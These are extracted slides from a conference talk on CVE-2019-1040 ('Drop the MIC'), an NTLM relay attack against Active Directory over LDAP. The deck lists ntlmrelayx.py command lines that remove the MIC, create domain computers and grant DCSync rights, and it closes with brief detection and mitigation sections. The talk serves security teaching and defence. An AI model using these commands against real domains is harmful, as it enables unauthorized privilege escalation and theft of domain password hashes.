Bsidescyprus DropTheMIC
Bsidescyprus DropTheMIC
Bsidescyprus DropTheMIC
Credentials Relaying
CVE-2019-1040 / Drop the MIC
Background
• Penetration Tester @Deloitte’s Risk Advisory
• @taso_x on Twitter
• https://github.com/tasox
• https://pentestlibrary.blogspot.com
2
Why Drop The MIC?
CVE-2019-1040
3
Lateral Movement using Credentials Relaying
CVE-2019-1040 / Drop the MIC
4
More NTLM…
• NTLM Authentication consists of 3 message types:
5
What is NTLM Message Integrity Code?
“The Message Integrity Code (MIC) field verifies that the 3
NTLM messages [NTLM_NEGOTIATE, NTLM_CHALLENGE,
NTLM_AUTHENTICATE] were not modified during transit.”
6
Drop The MIC (Modifications)
CVE-2019-1040 / Drop the MIC
https://blog.preempt.com/drop-the-mic
7
Drop The MIC (Modifications)
CVE-2019-1040 / Drop the MIC
8
Drop The MIC (Modifications)
CVE-2019-1040 / Drop the MIC
9
Why LDAP?
“LDAP can be used to read and modify
objects in the Active Directory. When
authentication is relayed to LDAP,
objects in the directory can be
modified to grant an attacker
privileges, including the privileges
required for DCSync operations.”
DCSync: An attacker can pretend to be a Domain Controller and
request passwords from the targeted Domain Controller
https://dirkjanm.io/abusing-exchange-one-api-call-away-
10
from-domain-admin/
(NTLM over SMB) Relay to LDAP
NTLMRelayx Syntax table
Add a domain
Ldaps:636 --add-computer (1) No --remove-mic
computer
Create a domain
user & give DCSync Ldaps:636 --delegate-access Yes --remove-mic
rights
Give DCSync rights
to an existing
Ldap:389 --escalate-user Yes --remove-mic
domain user, (2)
domain computer
Create a domain
ntlmrelayx.py -t ldaps://192.168.100.236 --add-computer -smb2support --remove-mic
computer account
Gives DCSync rights to an ntlmrelayx.py -t ldap://192.168.100.236 --escalate-user <domain user / computer> -
existing domain user / smb2support --remove-mic
computer
*the latest version 0.9.20-dev of ntlmrelayx can not give dcsync rights to a domain computer account. 12
Create a domain Computer
13
Create a domain User & Grant DCSync privileges
14
Grant DCSync privileges to an existing domain User
15
Hunting Relaying
Drop the MIC
16
More Hunting
Drop the MIC
17
More Hunting
Drop the MIC
Get-EventLog 5136
(A directory service object was modified) Convert SDDL & Observe
https://github.com/canix1/SDDL-Converter 18
Mitigation
Drop the MIC
19
Thank You
Credits:
• M a r i n a S i m a k o v, Ya r o n Z i n a r
• Dirk-Jan Mollema
• Alberto Solino